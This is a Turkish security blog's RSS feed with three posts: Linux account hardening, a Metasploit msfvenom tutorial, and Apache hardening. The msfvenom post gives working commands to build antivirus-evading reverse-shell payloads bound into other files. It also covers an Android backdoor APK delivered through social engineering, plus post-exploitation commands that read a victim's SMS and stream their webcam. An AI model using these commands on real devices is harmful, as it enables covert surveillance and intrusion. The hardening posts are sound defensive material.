CanYouPwnMe, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sun, 23 Jul 2017 18:41:46 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png CanYouPwnMe, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Linux Kullanıcı Güvenliği https://canyoupwn.me/tr-linux-kullanici-guvenligi/ https://canyoupwn.me/tr-linux-kullanici-guvenligi/#respond Thu, 26 Jan 2017 06:20:33 +0000 https://canyoupwn.me/?p=5359 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Parola Güvenliği Parola güvenliği, kullanıcı güvenliğinin en önemli unsurlarındandır. Bilgisayar sistemlerinde ilk karşımıza çıkan güvenlik önlemi parola sistemidir. Hem bizim hem de kullanıcılarımız için parola güvenliği çok büyük önem taşımaktadır. Yakın zamanda çıkan linux işletim sistemlerinde, passwd uygulama sistemi parola güvenliğini en üst seviyeye çıkarmayı amaçlamıştır. Bu yüzden işletim sistemlerimizin güncel olmasına önem göstermeliyiz. Parola […]

TR | Linux Kullanıcı Güvenliği CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Parola Güvenliği

Parola güvenliği, kullanıcı güvenliğinin en önemli unsurlarındandır. Bilgisayar sistemlerinde ilk karşımıza çıkan güvenlik önlemi parola sistemidir. Hem bizim hem de kullanıcılarımız için parola güvenliği çok büyük önem taşımaktadır. Yakın zamanda çıkan linux işletim sistemlerinde, passwd uygulama sistemi parola güvenliğini en üst seviyeye çıkarmayı amaçlamıştır. Bu yüzden işletim sistemlerimizin güncel olmasına önem göstermeliyiz. Parola belirlerken kaba kuvvet gibi saldırı yollarıyla kırılması zor parolalar seçmeliyiz. Nasıl parola seçmemiz gerektiği  TR | Parola Güvenliği başlığında anlatılmıştır.

Parola Yenileme

Kullanıcıların belirli aralıklarla parolalarını değiştirmelerini sağlamalıyız. Bu sayede kullanıcı güvenliğini artırmış oluruz. Parola değiştirecekleri tarihleri ve ne kadar süre kullanacakları gibi ayarları belirlerken chage  komutu kullanılmaktadır. chage –l username  komutu ile kullanıcımızın parolasına ait bilgileri görmekteyiz.

Parametreleri inceleyelim;
-m  : Kullanıcının parola değiştirdikten sonra tekrar değiştirebilmesi için, en az geçmesi gereken süreyi belirtmemizi sağlar.
-M  parametresi: Belirleyeceğimiz gün geçtikten sonra kullanıcının parolayı tekrar değiştirmesini sağlar.
-E  parametresi: Kullanıcının hesabı son kullanma tarihini belirlememize olanak sağlar. Verilen tarihte hesap kapatılır. Kullanımı “YYYY-AA-GG” şeklindedir.
-I  parametresi: Kullanıcı oturuma belirttiğimiz süre içerisinde giriş yapmazsa, oturum otomatik olarak kilitlenecektir.
-W  parametresi: Kullanıcıya parolasının zamanının dolması ne kadar süre kaldığı hakkında uyaracaktır.

Örnek kullanımı; sudo chage -E 2016-12-29 -M 100 -m 10 -I 5 -W 5 user  şeklindedir.

Yanlış Parola Giriş

Kullanıcının yanlış parola giriş sayısını sınırlandırmalıyız. Kullanıcılar 3 defadan fazla yanlış deneme yaptığında hesabı geçici olarak kapatılmalıdır.  Bu sayede saldırganların, kaba kuvvet gibi saldırılarını önlemiş oluruz. Bu sınırlandırma faillog  komutu ile yapılmaktadır.

Yukarıda ki komutta user kullanıcısının, yanlış parola giriş sayısını 3 deneme ile sınırlamış olduk.
sudo faillog –all  komutu ile bütün kullanıcıların faillog kayıtlarını görebiliriz.
Burada Failures  sütununda kullanıcının yanlış girdiği parola sayısı gözükmektedir. Buradan çok fazla yanlış deneme yapan kullanıcı, passwd –l username  komutu ile hesabı kapatılabilir.

Parolası Olmayan Hesapların Tespiti

Kullanıcıların parolalarını boş bırakmamaları gerekmektedir. Güncel linux sistemleri parolaların boş bırakılmamasına izin vermemektedir.
awk -F: ‘($2== “”) {print}’ /etc/shadow  komutu ile parolası olmayan kullanıcıların tespiti yapılmaktadır.
passwd –l username  komutu ile parolası olmayan kullanıcılar kitlenir.

Kullanıcı UID Değeri 0 olan Kullanıcıların Tespiti

UID sadece root hesabının 0 olması gerekmektedir. UID değeri 0 olan kullanıcıları tespit etmeli ve hesaplarını silmeliyiz veya bu izni bizim verdiğimizden emin olmalıyız. Güncel linux dağıtımlarında, sistem root harici kullanıcıların UID değerinin 0 olmasına izin vermemektedir
awk -F: ‘($3 == “0”) {print}’ /etc/passwd  komutu ile UID si 0 olan kullanıcıları görürüz.

Burada root hariç UID’si 0 olan kullanıcı var ise, passwd –l username  komutu ile hesabı kapatılmalıdır.

Kullanıcıların CPU VE RAM Kullanımlarının Sınırlandırılması

Kullanıcılar herhangi bir kaynak limiti belirlenmediği zaman, sistemi kırmak için sistemi meşgul eden programlar kullanabilirler. Bu sebeple kullanıcıların çalıştıracağı maximum, process sayısını ve kullanacakları RAM boyutunu ayarlamalıyız.

  • En fazla RAM kullanan kullanıcıların tespiti
ps axo %mem,comm,pid,euser | sort -nr | head -n 10

  • En fazla CPU kullanan kullanıcıların tespiti
ps axo pcpu,comm,pid,user | sort -nr | head -n 10

  • Detaylı bilgi
ps -eo pcpu,pid,user,args,pmem | sort -k 1 -r | head -10

/etc/security/limits.conf  dosyasına aşağıdaki satırları ekleyerek, kullanıcının maximum  açabileceği process’i ve kullanacığı bellek boyutunu belirleyebiliriz.

hard core 0 
hard rss 4000 
hard nproc 10

Kullanıcı maximum 10 tane process açabilecek ve 4MB bellek kullanabilecektir.
Bu özellikleri aktif hale getirmek için, /etc/pam.d/login  dosyası aşağıdaki gibi olmalıdır.

#%PAM-1.0 
auth required /lib/security/pam_securetty.so 
auth required /lib/security/pam_pwdb.so shadow 
auth required /lib/security/pam_nologin.so 
account required /lib/security/pam_pwdb.so 
password required /lib/security/pam_cracklib.so 
password required /lib/security/pam_pwdb.so nullok 
session required /lib/security/pam_pwdb.so 
session required /lib/security/pam_limits.so

Kullanıcıların ne zaman sisteme giriş yaptıklarına dikkat etmeliyiz.

Oturum açma girişlerini kaydetmek için /var/log/wtmp  dosyası olmalıdır, yoksa oluşturulmalıdır.
last -a  en son giriş ve çıkış yapmış olan kullanıcıların terminal ismi, tarih, saat, tam istemci adı gibi bilgileri gösterir. Bu komut /var/log/wtmp  dosyasının içini okur.

Kullanıcıların sisteme yanlış giriş denemelerini kaydetmeliyiz.

Yanlış giriş denemeleri kaydetmek için /var/log/btmp  dosyası olmalıdır, yoksa oluşturulmalıdır.
lastb  başarısız oturum açma girişimlerini gösterir. Bu komut /var/log/btmp  dosyasının içerisindeki kayıtları okur ve bize çıktı sunar.

Kullanılmayan Hesapların Kapatılması

UID değeri 500’ün altında olan hesaplar kontrol edilmeli, kullanılmayan hesaplar kapatılmalıdır. Çünkü bu hesaplar saldırganların girmesi için birer kapıdır. Hesabı silmek için userdel UserName  komutunu kullanmalıyız.

Bilgisayarımız herkesin kullandığı bir yerde ise;

/etc/lilo.conf  dosyasını açıyoruz ve aşağıdaki satırı yazıyoruz.

timeout=00 restricted password="belirlediğimiz parola " timeout

Bu satır makine açılırken, LILO’nun beklememesini sağlar, bu sayede LILO’ya parametre verilmesini engellenir. Restricted satırı makinanın single modda açılması gerektiğini belirtir. Kullanıcı girerken belirttiğimiz parola ile giriş yapar.

Yetkiler gruplara verilmeli, kullanıcılar gruplara dahil edilmelidir.

Yeni hesap açan kullanıcıların asgari ihtiyaçlarını karşılayacak minimum yetkinin verildiğinden emin olmalıyız.
Grup hesaplarının oluşturulması için groupadd  komutu kullanılır.

Gruba kullanıcı eklemek için;

usermod –g <grupAdı> -G <diğerGrupAdı> <kullanıcıAdı>

Grup Ön Yükleyicisinin Şifreli Hale Getirilmesi

Yetkisiz erişimlerin önlenmesi amacıyla, ön yükleyicinin şifreli hale getirilmesi sağlanmalıdır.
Bu amaçla, iki dosya üzerinde düzenlemeler yapacağız. Önce bu iki dosyanın her ihtimale karşı yedeklemesini yapmalıyız.

Daha sonra gedit editörü ile /etc/grub.d/10_linux  dosyasını açıyoruz ve en alt satıra ,

cat <<EOF
set superusers="root"
password root p@ssW0rd123* 
EOF

komutlarını ekliyoruz.

Parolayı belirledikten sonra yeni grub.cfg dosyasını oluşturmak için, grub-mkconfig–output=/boot/ grub/grub.cfg  komutunu kullanıyoruz. Daha sonra sunucumuzu yeniden başlatıyoruz.

İşletim sistemi açılırken, kullanıcı adı ve parola soran bir ekranla karşılaşırız. Buradan grub ön yükleyici ekranına giriş olanağı sağlanır.

Şimdi sıra parola güvenliğimizi artırmak için parolamızı şifrelemeye geldi. Parolamızı şifrelemek için grub-mkpasswd-pbkdf2  komutunu kullanıyoruz.

Daha sonra şifrelenmiş kısmı daha öncede kullanmış olduğumuz aşağıdaki kodda password kısmına yapıştırıyoruz.

cat <<EOF
set superusers="root"
password_pbkdf2 root
grub.pbkdf2.sha512.10000.******
EOF

Parola şifrelendikten  sonra tekrar  yeni grub.cfg dosyasını oluşturuyoruz. Bunun için, grub-mkconfig–output=/boot/ grub/grub.cfg  komutunu kullanıyoruz. Daha sonra sunucumuzu yeniden başlatıyoruz.

 


 

TR | Linux Kullanıcı Güvenliği CanYouPwnMe

]]>
https://canyoupwn.me/tr-linux-kullanici-guvenligi/feed/ 0
TR | MSFVenom Kullanımı https://canyoupwn.me/tr-msfvenom/ https://canyoupwn.me/tr-msfvenom/#comments Mon, 05 Dec 2016 21:01:25 +0000 https://canyoupwn.me/?p=4922 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

MSFVenom Nedir, Nasıl Kullanılır? Eskiden, payload üretmek ve encode işlemleri yapmak için msfpayload ve msfencode araçları kullanılırdı. Şu anda bu araçlar yerine msfvenom kullanılmaktadır. Bunların dışında da Kali Linux’ta bu işlemleri yapan birçok araç vardır. Kullanımı oldukça basittir. Metasploit framework içinde hazır olarak bulunan bu araç, backdoor ve encode üretmek için en çok kullanılan araçtır. […]

TR | MSFVenom Kullanımı CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

MSFVenom Nedir, Nasıl Kullanılır?

Eskiden, payload üretmek ve encode işlemleri yapmak için msfpayload ve msfencode araçları kullanılırdı. Şu anda bu araçlar yerine msfvenom kullanılmaktadır. Bunların dışında da Kali Linux’ta bu işlemleri yapan birçok araç vardır. Kullanımı oldukça basittir. Metasploit framework içinde hazır olarak bulunan bu araç, backdoor ve encode üretmek için en çok kullanılan araçtır.
Şimdi MSFVenom’u incelemeye başlayalım.

Kali Linux’ta terminale mfsvenom -h  yazarak msfvenom’un help sayfasına ulaşırız. Bu sayfada, msfvenom’da kullanabileceğimiz parametreleri ve açıklamalar gösterilmektedir.

Öncelikle teker teker bu parametreleri inceleyelim;

ekran-goruntusu_2016-10-21_22-40-00
-p : MFSVenom’da kullanmak istediğimiz payloadı seçmemizi sağlar. Her payloadın yanında açıklaması bulunmaktadır.
–payload-options : Seçmiş olduğumuz payloadın ayarlarını görüntülememize ve ayarlamamıza olanak sağlıyor.
Kullanımı msfvenom –p <payload adı> –payload-options  şeklindedir.

Bazı payload çeşitleri;

İşletim Sistemi Payloadları

Linux

-p linux/x86/meterpreter/reverse_tcp

Windows

-p windows/meterpreter/reverse_tcp

Mac

-p osx/x86/shell_reverse_tcp

Web Payloadları

PHP

-p php/meterpreter_reverse_tcp

jSP

-p java/jsp_shell_reverse_tcp

Script Payloadları

Python

-p cmd/unix/reverse_python

Bash

-p cmd/unix/reverse_bash

Perl

-p cmd/unix/reverse_perl

-l : Payloads, Encoders, Nops; modül tiplerini listelemeye yarar.

Kullanımı

msfvenom -l payloads
msfvenom -l encoders
msfvenom –l nops

-n : Oluşturacağımız payloadın ilk bytelarında ezilme olabilir. Bu durum payloadımızın yapısını bozacağından çalışmasını engelleyebilir. “-n” parametresi payload başına nopsled eklememize olanak sağlar. Bu sayede payload çalıştığında istediğimiz adrese gelene kadar adreslerin nop (boş işlem) ile dolması sağlanır.
Örnek kullanımı -n 26  şeklindedir. 26 bytelık kısmı nop(\x98\xfd\x40..) ile doldurur.
-f : Kaydedilecek olan çıktının formatını belirlememize olanak sağlar.
-help-formats  komutu ile kaydedebileceğimiz formatları listeler.

Executable Formats (Çalıştırılabilir Formatlar)

asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform Formats(Yazılımsal Formatlar)

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

-e : Kullanmak istediğimiz encoderi seçmemizi sağlar. Encoderlar anti-virüs atlatma işleminde kullanılırlar. Eğer biz seçmezsek, kendisi en uygun encoderi otomatik olarak atayacaktır. Birden fazla encoder seçimi yapabiliriz ve bu sayede anti-virüs programının bizi yakalama olasılığını azaltırız. Rank sütununda, encoderlerın derecelerini görüyoruz. Descriprion sütununda ise bu encoderların açıklamaları bulunmaktadır.

ekran-goruntusu_2016-10-21_22-40-00

-a : Oluşturulan payloadın hangi mimariye göre çalışacağını belirleriz. x86/x64, PPC, Mips, Arm mimarilerini destekler.
–platform : Payloadın hangi platformda çalışacağını atamamıza olanak sağlar.
–help-platforms : netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javacript, python, nodejs, firefox, mainframe, windows
-s : Üretilen payload veya encoderin, byte cinsinden boyutunu belirlememize olanak sağlar.

-b : Payload içinde kullanılmasını istemediğimiz karakterleri(badchars) temizler. Bu karakterler payloadın yapısını bozabilir. Badchars: x00\x0a\x5f\xa4\xba\xaa\xdf\xff ..

-i : Encoding işlemini kaç defa tekrarlamak istediğimizi belirtiriz. Anti-virüs programını atlatmak için defalarca deneyebiliriz.

-c : Bir payloadı bir shell code ile birleştirmemizi sağlar.

-x : Bir payloadı başka bir dosya ile birleştirmemizi sağlar. Bu sayede kullanıcının payloadı fark etme olasılığını azaltmış oluruz. Örneğin, payloadı bir resimle birleştirdiğimizde, kullanıcı payloadı çalıştırınca ön planda resim görünür arka planda ise zararlı kodlar çalışır.

-k : Payloadımızı bir başka payloadla veya dosya ile birleştirdiğimiz zaman, payloadımızın yapısının bozulmamasını sağlar.

-o : Payloadın nereye kaydedileceğini belirtir.

-v : Payloadın adını değiştirmemize olanak sağlar. Default olarak adı “buf” atanır.

Parametrelerle beraber LHOST VE RHOST kavramlarını kullanacağız.
LHOST  kısma kendi IP’mizi gireceğiz.
LPORT  kısmına da dinlemek istediğimiz portu giriyoruz. Bu sayede karşı taraf bu port üzerinden bize ulaşır.

>  Parametresini kullanarak payloadın adını ve kaydedileceği dizini belirlememize olanak sağlar. Dosya kaydetme işlemi hızlı olduğu için genelde payloadlar bu parametre ile kaydedilir.
Kullanımı > /root/Masasüstü/dosyaadı.exe  şeklindedir.

msfvenom -x payloads.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4445 -f exe -a x86 -o /root/Masaüstü/payload.exe --platform windows -e x86/shikata_ga_nai -i 20  –b “\x00”

 

En sık oluşturulan payload’lardan biridir. Bunun üzerinde parametrelerin kullanımı inceleyelim.

-p Windows/meterpreter/reverse_tcp
  • Burada kullanmak istediğimiz payloadı –p parametresi ile giriyoruz.
LHOST=192.168.171.128 LPORT=4445
  • Üzerine IP ve dinlemek istediğimiz portu giriyoruz. Zararlı yazılım karşı tarafta çalıştığında bize bu IP adresi ve port numarası üzerinden ulaşacaktır.
-x payloads.exe -k

payloadı başka bir dosya ile birleştirdik. –k  parametresi ile yapısını korudu.

  • -o /root/Masaüstü/payload.exe  kaydedileceği dizini ve adını belirttik. -o  yerine >  de kullanılabilirdi.
  • -a x86  x86 mimarisinde çalışacak.
  •  –f exe  payloadımızın formatını seçiyoruz.
  • –platform windows  platform olarak Windows’u seçtik.
  • -e x86/shikata_ga_nai  encode işlemi için seçtiğimiz encodu girdik. Encoderin derecesi arttıkça anti-virüs tarafından yakalanma olasılığını azaltır. Bu yüzden derecesi excellent olduğu için bu encoderi seçtik.
  • -i 20 encode işlemini kaç defa gerçekleştirmek istediğimizi belirttim.
  • -b “\x00”  istemediğimiz x00 karakterini çıkardık.

Oluşturduğumuz payloada sağ tıklayıp özellikleri açıyoruz. Erişim haklarında bulunan dosyayı bir program program gibi çalıştırmaya izin ver butonuna tıklıyoruz. Bu sayede kullanıcının cihazı payloadımızı bir program gibi çalıştırabiliyor.

ekran-goruntusu_2016-10-21_22-40-00

https://canyoupwn.me/tr-backdoor/ ‘da anti-virüs atlatma, backdoor oluşturma anlatılmıştır.
Ben ise msfvenom sayesinde android için backdoor oluşturmayı anlatacağım.

Şimdi android için payload oluşturacağız.

ekran-goruntusu_2016-10-21_22-40-00
İlk önce msfvenom –l payloads  komutu ile payloadları listeliyoruz. Android için payload oluşturmak istediğimizden başında android geçen payloadları inceliyoruz ve buradan bize en uygun payloadı seçiyoruz. Ben android/meterpreter/reverse_tcp  payloadını kullanacağım.

ekran-goruntusu_2016-10-21_22-40-00
LHOST kısma kendi IP adresimizi giriyoruz. LPORT kısmınada dinleyeceğimiz, kullanıcının bize ulaşacağı portu girdikten sonra , > ile payloadın kaydedileceği dizini ve adını  .apk  formatında kaydediyoruz.
Daha sonra  msfconsole  komutu ile metasploiti çalıştırıyoruz.

Metasploit` de;
use exploit/multi/handler  komutu ile exploitimizi çalıştırıyoruz.

ekran-goruntusu_2016-10-21_22-40-00

set payload android/meterpreter/reverse_tcp  komutu ile payloadımızın ayarlar kısmına giriyoruz.
Daha sonra ayarlar kısmında bulunan LHOST ayarını kendi IP’mizle aynı, LPORT kısmını da dinleyeceğimiz portla aynı yapıyoruz.
show options  komutu ile exploitimizin son halini görüntüledik.

Her şey tamam olduktan sonra artık exploitimizi çalıştırabiliriz.
ekran-goruntusu_2016-10-21_22-40-00

exploit/run   komutu ile dinlemeye başlıyoruz
Bu adımdan sonra artık karşı taraftaki kullanıcın payloadı aktif hale getirmesi lazım. Bunun için sosyal mühendislik gibi yöntemler kullanabilir. Payloadın telefona yüklene bilmesi için telefonumuzun güvenlik kısmında bulunan bilinmeyen kaynaklar özelliği açık olmalıdır. Payloadımızın istediği izinler, payload yüklenirken karşımıza çıkar. Kullanıcı buna izin vermelidir.

ekran-goruntusu_2016-10-21_22-40-00

Kullanıcı payloadı aktif hale getirdikten sonra, meterpreter oturumu aktif hale geliyor.

ekran-goruntusu_2016-10-21_22-40-00

sysinfo  komutu ile cihaz hakkında bilgi alabilir. help  komutu ile neler yapabileceklerimizi görebiliriz.

Örneğin;
dump_sms  komutu ile karşı tarafın SMS’lerine ulaşabiliriz.

ekran-goruntusu_2016-10-21_22-40-00
webcam_stream  komutu ile karşı tarafın kamerasına erişim sağlayabiliriz.

ekran-goruntusu_2016-10-21_22-40-00

TR | MSFVenom Kullanımı CanYouPwnMe

]]>
https://canyoupwn.me/tr-msfvenom/feed/ 1
TR | Apache Hardening https://canyoupwn.me/tr-apache-hardening/ https://canyoupwn.me/tr-apache-hardening/#respond Sun, 04 Dec 2016 06:30:16 +0000 https://canyoupwn.me/?p=4841 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TR | Apache Hardening             Bu rehberde size Apache sunucularını güvenceye almak için elimden geldiğince ipuçları vermeye çalışacağım. Sıkılaştırma işlemlerini Linux platformu üzerinden gerçekleştireceğiz. Apache 2.4.x ve 2.2.x sürümlerine uygun testler gerçekleştiriyor olacağız. Gelin ilk önce Apache nedir ona bir bakalım. Apache Nedir?             Apache, 1995 tarihinden beri geliştirilmekte olan açık kaynak kodlu, güçlü, sağlam, […]

TR | Apache Hardening CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TR | Apache Hardening

            Bu rehberde size Apache sunucularını güvenceye almak için elimden geldiğince ipuçları vermeye çalışacağım. Sıkılaştırma işlemlerini Linux platformu üzerinden gerçekleştireceğiz. Apache 2.4.x ve 2.2.x sürümlerine uygun testler gerçekleştiriyor olacağız. Gelin ilk önce Apache nedir ona bir bakalım.

Apache Nedir?

            Apache, 1995 tarihinden beri geliştirilmekte olan açık kaynak kodlu, güçlü, sağlam, yetenekli ve esnek bir web sunucusudur. Apache, 1999’da kurulan Apache SoftwareFoundation(ASF) tarafından geliştirilmektedir. Unix, GNU, FreeBSD, Linux, Solaris, Novell NetWare, Mac OS X, Microsoft Windows, OS/2, TPF ve eComStation işletim sistemleri üzerinde çalışabilmektedir.

            İlk Apache sürümü 1 Aralık 1995’ te piyasaya sürülmüş kısa sürede internetin bir numaralı sunucusu haline gelmiştir. İnternet’ teki web sitelerinin %60’ ı Apache üzerinde çalışmaktadır. Aşağıdaki grafikte de görüldüğü üzere Apache sunucular piyasaya sürüldükten sonra kısa sürede popüler hale gelmiştir.

ekran-goruntusu_2016-10-21_22-40-00

            Bu kadar popüler olmasının elbet bir dezavantajı olacaktır. Apache sunucular aldığı saldırılar yönünden de popüler hale gelmiştir.
            Bu saldılar çoğunlukla XSS, Info Leakage, Session Management ve SQL Injection yoluyla yapılmaktadır. Apache sunucular en çok XSS açıkları yüzünden saldırıya maruz kalmaktadır.

ekran-goruntusu_2016-10-21_22-40-00

Apache Kurulumu

1.Adım

            İlk önce kütüphanemizi güncelleyelim.

5

2.Adım

            Apache’ yi sistemimize kuralım.

1

3.Adım

            İnternet tarayıcınızdan http://localhost  veya 127.0.0.1  adreslerine girdiğinizde karşınıza aşağıdaki gibi bir ekran çıkıyorsa kurulum başarılı bir şekilde sonuçlanmıştır.

2
4.Adım

            Eğer yukarıdaki ekranı göremediyseniz bir sorun var demektir. Apache’ nin çalışıp çalışmadığını kontrol edelim.

screenshot_62

            Apache yukarıda görüldüğü üzere aktif halde değil. Apache’ yi başlatalım.

3

            Apache aktif olduğu halde http://localhost  adresine erişemiyor olabilirsiniz.

screenshot_345

            Bunun için Apache’ yi restart edip tekrar kontrol edelim.

4

            Apache kurulumu burada sona ermiştir.

Apache Sıkılaştırma Adımları

Apache’ yi ayrı bir kullanıcı hesabı ve grupta çalıştırın

            Örneğin, Apache’ yi yapılan başarılı bir saldırı sonucunda saldırgan aynı kullanıcı hesabında bulunan e-posta sunucusuna erişebilir. Tam tersi bir senaryo da işleyebilir. Bu yüzden Apache’ yi kendi kullanıcı hesabı ve grubunda çalıştırmak en doğrusu olacaktır.

            Öncelikle Apache için yeni bir grup oluşturalım.

12

            Daha sonra bu gruba yeni bir hesap oluşturalım.

11

            Oluşturduğumuz yeni kullanıcı hesabının içine daha önce bahsettiğimiz gibi Apache sunucuyu kurabiliriz.

Apache’ yi sürekli olarak güncel tutmak

            Apache geliştirici topluluğu güvenlik açıklarını kapatabilmek için sürekli çalışmaktadır. Genellikle her ay güncelleme almaktadır. Bu sebepten dolayı Apache’ yi güncel tutmak kesinlikle önemlidir.

            İlk önce Apache’ i sürümünü kontrol edelim.

15

            Eğer Apache’ mizin sürümü eskiyse aşağıdaki adımları takip edelim.

screenshot_47

Apache sürüm bilgilerini ve diğer bilgileri gizlemek

            Apache, varsayılan olarak sürümünü, işletim sistemini ve hangi Apache modüllerinin sunucuda kurulu olduğunu bir hata sonucunda saldırgana söyleyebilir.

6

            Bunu çözmek için ilk önce apache2.conf  dosyasını terminalden açalım.

7

            Daha sonra dosyanın sonuna gelerek aşağıdaki gibi iki satırlık kodu ekleyerek kayıt edip çıkalım.

           

ServerSignature Off
ServerTokens Prod

 

8

            Apache servisimizi tekrar başlatalım.

9

            Gördüğünüz gibi artık sürümü, kullanılan işletim sistemi gibi bilgileri vermemekte.

10

İhtiyaç duyulmayan modüllerin kapatılması

            Apache, çeşitli modüllerle birlikte kurulmaktadır. Aktif durumda bazı modüllere ihtiyacınız olmayabilir.

Bu modülleri aratmak için aşağıdaki kod satırını kullanalım.

17

            Bu sorgudan sonra herhangi bir çıktı alamadıysak açık modül yok demektir.

            Eğer alıyorsak aktif modül var demektir. Editörle apache2.conf dosyasının içine girerek ‘LoadModule’ ile başlayan satırların başlarına ‘#’ işaretini koyarak bu satırları yorum satırı haline getirebiliriz. Bu sayede istediğiniz modülü devre dışı bırakabilirsiniz.

Apache’ nin konfigürasyon ve çalıştırılabilir dosyalarına sadece root için okuma izni verilmesi

            Apache kurulumunuzun /usr/local/apache  olduğunu varsayarak aşağıdaki adımları izleyelim.

18

            Bu kodla apache klasörünü ve alt klasörlerini sahipliğini root olarak değiştirdik.

19

            Bu kodla apache klasörünün ve alt klasörlerinin diğer kullanıcılar tarafından okuma, yazma ve çalıştırma izinlerini kaldırdık.

Timeout değerinin düşürülmesi

            DoS(Servis Kullanımını Engelleme) saldırılarının etkilerini azaltmak için Timeout(Zaman aşımı) süresini düşürebiliriz. Timeout süresi varsayılan olarak 300 saniyedir.

            Terminalden apache2.conf dosyamızı açıyoruz.

7

            Daha sonra ‘Timeout 300’ yazan yeri aşağıdaki gibi düzeltiyoruz. Bu değeri kendinizde belirleyebilirsiniz.

         

Timeout 45

 

20

Büyük boyutlu isteklerin sınırlandırılması

            Apache, bir HTTP isteğinin boyutunu sınırlamaya izin verir. Varsayılan olarak bu değerler çoğu sunucu için uygun değerlere ayarlanmıştır. Yine de bu değerleri değiştirmek gelebilecek saldırıları minimuma indirebilir.

            Küçük bir örnek göstermek amacıyla apache2.conf dosyasını açalım.

7

            Örneğin 1 Mb’ın üzerindeki isteklere izin vermiyorsanız aşağıdaki gibi bir kod satırı ekleyebilirsiniz.

           

LimitRequestBody 1048576

 

21

            Bu direktife benzer LimitRequestFields, LimitRequestFieldSize ve LimitRequestLine direktiflerini de kullanabilirsiniz.

Mod_security kurulumu

            Mod_security, Ivan Ristic tarafından hazırlanmış bir Apache modülüdür. Mod_security ile  basit filtreleme, URL kodlama kontrolü, upload hafıza sınırları, reguler exprenssion tabanlı filtreleme gibi ve daha fazlasını yapabiliriz

            Mod_security kurulumunu aşağıdaki adımları izleyerek gerçekleştirelim.

22

23

24

Dizin listelemeyi devre dışı bırakmak

            Apache’ de varsayılan olarak dizin listeleme özelliği aktif haldedir. Bu özellik saldırganlar tarafından kullanılabilir. Saldırgan bir hata sonucunda veya başka bir yolla kök dizini altındaki dosyalara erişebilir.

            Tüm klasör ve alt dizin listelemeyi kapatmak için apache2.conf dosyasını terminalden açalım.

7

            Daha sonra aşağıdaki kod satırlarını ekleyerek kayıt edip çıkalım.

         

<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>

 

13

            Eğer istediğimiz bir dizini listelemeye açmak istiyorsak aşağıdaki kod satırlarına benzer bir yöntem kullanabiliriz.

 

 

<Directory /var/www/html/>
Options Indexes FollowSymLinks
AllowOverride None
</Directory>

 

14

Apache’ nin sembolik linkleri takip etmesinin engellenmesi

            Örnek üzerinden açıklamak gerekirse, /www/test/index.html dosyasına erişmek istediğimizde Apache ilk önce /www adresine daha sonra /www/test adresine son olarak ta /www/test/index.html adresine ulaşmak isteyecektir. Bu doğrulama işlemi ciddi bir zaman kaybına neden olacaktır. Yoğun sitelerde ciddi performans kayıplarına sebep olabilir.

            Bu sorunu apache2.conf dosyasına tek satırlık bir kod ekleyerek çözebiliriz.

7

     

<Directory >
Options -FollowSymLinks
</Directory>

 

screenshot_4

Server side include ve CGI çalıştırılmasının kapatılması

            Server side include özelliğini kapatabilir ve gerekli değilse CGI’ in çalıştırılmasını engelleyebiliriz.

            Terminalden apache2.conf dosyasını açalım.

7

            Daha sonra Directory tagı içerisine kodlarımızı ekleyelim.

         

<Directory >
Options -Includes
Options -ExecCGI
</Directory>

 

screenshot_2

Klasör içeriği görüntülemenin kapatılması

            Bu özelliği apache2.conf dosyasının içerisine ‘Directory’ tagı içerisinde Options –Indexes satırını ekleyerek kapatabiliriz.

7

<Directory >
Options -Indexes
</Directory>

 

screenshot_5

XML Body boyutunun sınırlandırılması

            Apache sunucunuzda bir XML isteğinin maksimum boyutunu sınırlandırmak isteyebilirsiniz.

            Bunun için apache2.conf dosyasının içine aşağıdaki gibi kabul edilecek maksimum XML Body boyutunu belirtebilirsiniz.

7

           

LimitXMLRequestBody 10485760

 

screenshot_3

Erişimleri IP adresine göre sınırlama

            Apache sunucunuza belirli bir ağdan veya IP adresinden erişilmesini isteyebilirsiniz. Bunun için aşağıdaki adımları uygulamanız yeterli olacaktır.

            Apache2.conf dosyamızı terminalden açalım.

7

            Örneğin sunucumuza sadece 166.16.0.0 ile 166.17.0.0 arasında kalan  IP adreslerinden erişilmesini istiyoruz.

<Directory >
Order Deny,Allow
Deny from all
Allow from 166.16.0.0/16
</Directory>

 

screenshot_6

            Veya sadece 127.0.0.1 IP adresinden erişilmesini isteyebiliriz.

<Directory >
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
</Directory>

 

screenshot_7

SSL Sertifikası ile Apache güvenliğinin sağlanması

            SSL sertifikası kullanımının iki farklı yolu vardır. Bunlardan birincisi sertifika isteği oluşturarak geçerli bir sertifika(CA) otoritesi göndermek, ikincisi ise sertifika otoritemizi oluşturarak sertifika taleplerini onaylamaktır.

1.Adım

Gizli anahtar oluşturma

screenshot_8

CA için sertifika oluşturma

screenshot_9

Web sunucusu için gizli anahtarın oluşturulması

screenshot_10

2.Adım

Sunucu için sertifika imzalama isteği

screenshot_11

3.Adım

Sertifika Otoritesini(CA) kullanarak CSR’ i onaylama

screenshot_12

Gerekli dosya izinlerini verelim

screenshot_13

4.Adım

Apache’ i SSL ile başlatalım

